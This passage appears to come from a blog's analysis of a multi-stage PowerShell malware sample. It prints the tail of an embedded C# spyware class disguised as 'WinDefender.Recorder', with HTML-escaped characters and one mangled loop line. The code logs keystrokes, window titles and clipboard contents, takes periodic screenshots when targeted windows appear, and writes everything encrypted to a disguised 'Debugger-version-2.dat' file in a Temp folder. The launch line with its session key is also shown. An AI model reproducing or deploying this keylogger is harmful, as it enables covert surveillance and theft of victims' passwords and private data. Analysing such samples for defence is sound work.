            Random rnd = new Random();
            rnd.NextBytes(IV);
            RijndaelManaged AES = new RijndaelManaged()
            {
                Mode = CipherMode.CBC,
                Key = encoding.GetBytes(SesKey),
                IV = IV
            };
            List ciphertext = new List();
            ciphertext.AddRange(IV);
            ciphertext.AddRange((AES.CreateEncryptor()).TransformFinalBlock(bytes, 0, bytes.Length));
            HMACSHA1 hmac = new HMACSHA1() { Key = encoding.GetBytes(SesKey) };
            AES.Clear();
            ciphertext.AddRange(hmac.ComputeHash(ciphertext.ToArray()));
            string EncodedText = Convert.ToBase64String(ciphertext.ToArray()) + "``@";
            File.AppendAllText(Pathlog, EncodedText, Utf8NoBomEncoding); 
        }
        static void GetScreenRunspace()
        {
           string PathPic= getnamefile(Pathfile) + ".log";
           string ImgOut = string.Empty;
           string ImgOutCSS = string.Empty;
            for (int i = 0; i &lt; 15; i++)
            {
                try
                {
                    Rectangle ScreenBounds = SystemInformation.VirtualScreen;
                    Bitmap ScreenshotObject = new Bitmap(ScreenBounds.Width, ScreenBounds.Height);
                    Graphics DrawingGraphics = Graphics.FromImage(ScreenshotObject);
                    DrawingGraphics.CopyFromScreen(ScreenBounds.Location, Point.Empty, ScreenBounds.Size);
                    DrawingGraphics.Dispose();
                    using (MemoryStream ms = new MemoryStream())
                    {
                        int iQual = 18;
                        Imaging.EncoderParameters encoderParams = new Imaging.EncoderParameters();
                        encoderParams.Param[0] = new Imaging.EncoderParameter(Imaging.Encoder.Quality, iQual);
                        Imaging.ImageCodecInfo jpegCodec = null;
                        foreach (var item in Imaging.ImageCodecInfo.GetImageEncoders())
                            if (item.FormatDescription == &quot;JPEG&quot;)
                                jpegCodec = item;
                        if (jpegCodec != null)
                        {
                            ScreenshotObject.Save(ms, jpegCodec, encoderParams);
                            ScreenshotObject.Dispose();
                        }
                        string ImgDateName = GetTimeNowImg();
                        string FileImageEncode = ImgDateName + &quot;|&quot; + Convert.ToBase64String(ms.ToArray()) + &quot;``@&quot;;
                        ImgOut += &quot;<a><img></a>";
                        File.AppendAllText(PathPic, FileImageEncode, Utf8NoBomEncoding);
                    }
                }
                finally
                {
                    System.Threading.Thread.Sleep(4000);
                }
            }
            ImgOutCSS += "
<div>#B#u#t#o#
<div>" + ImgOut + "66#66#66";
            CryptBytes(ImgOutCSS, SesKey);
        }
        private static void RunScreening()
        {
            if (ScreenThread == null || ScreenThread.ThreadState != System.Threading.ThreadState.Running)
            {
                ScreenThread = new System.Threading.Thread(GetScreenRunspace);
                ScreenThread.Start();
            }
        }
        public static void Record()
        {
            byte[] previousVkeyStates = new byte[256];
            while ((previousVkeyStates[User32.VK_LSHIFT] == 0) || (previousVkeyStates[User32.VK_RSHIFT] == 0) || (previousVkeyStates[User32.VK_LCONTROL] == 0) || (previousVkeyStates[User32.VK_RCONTROL] == 0))
            {
                System.Threading.Thread.Sleep(10);
                byte[] vkeyStates = new byte[256];
                for (byte vkeyID = User32.VK_LOWEST; vkeyID &lt; User32.VK_HIGHEST; vkeyID++)
                {
                    vkeyStates[vkeyID] = ((User32.GetAsyncKeyState(vkeyID) &amp; 0x8000) == 0x8000) ? (byte)0xFF : (byte)0x00;
                }
                for (byte vkeyID = User32.VK_LOWEST; vkeyID  0)
                                {
                                    hWndTitle = ActiveApplTitle();
                                    if (hWndTitle != hWndTitlePast)
                                    {
                                        Outout += Environment.NewLine + "
<div>[ENTER] == Title == :" + hWndTitle + " - " + GetTimeNow() + "== </div>
";
                                        if (GetTitle(hWndTitle))
                                            RunScreening();
                                        hWndTitlePast = hWndTitle;
                                    }
                                    Outout += unicodeChars.ToString();
                                    string currentData = GetClipboardText();
                                    if (!string.IsNullOrEmpty(currentData) &amp;&amp; !currentData.Equals(previousData, StringComparison.CurrentCultureIgnoreCase))
                                    {
                                        Outout += Environment.NewLine + "\n
<div>[CLIPBOARD: " + GetTimeNow() + "]</div>
\r\n" + currentData + "\r\n
<div>[/ CLIPBOARD]</div>
\r\n";
                                        previousData = currentData;
                                    }
                                    if (Outout.Length &gt; 15 &amp;&amp; Luna(System.Text.RegularExpressions.Regex.Match(Outout, Pattern).Value))
                                    {
                                        RunScreening();
                                        CryptBytes(Outout, SesKey);
                                        Outout = "";
                                    }
                                    if (Outout.Length &gt; 100)
                                    {
                                        CryptBytes(Outout, SesKey);
                                        Outout = "";
                                    }
                                }
                                break;
                        }
                    }
                    previousVkeyStates[vkeyID] = vkeyStates[vkeyID];
                }
            }
        }
    }
}
"@ -ReferencedAssemblies @('System.Windows.Forms', 'System.Drawing') -Language $e
$Pathlog = $args[1] +"\Debugger-version-2.dat"
[WinDefender.Recorder]::Pathlog = $Pathlog;
[WinDefender.Recorder]::Pathfile = $args[1];
[WinDefender.Recorder]::SesKey = $args[0];
[WinDefender.Recorder]::Record()
}
def 'I{9L4#pwOmlz+M,8@.BW~fnGEX:cNv?k' 'C:\Users\user\AppData\Local\Temp\S-1-5-21-412654016-3479515840-311' '5'

 

One thought on “Multi-stage Powershell script (Brownies)

Leave a comment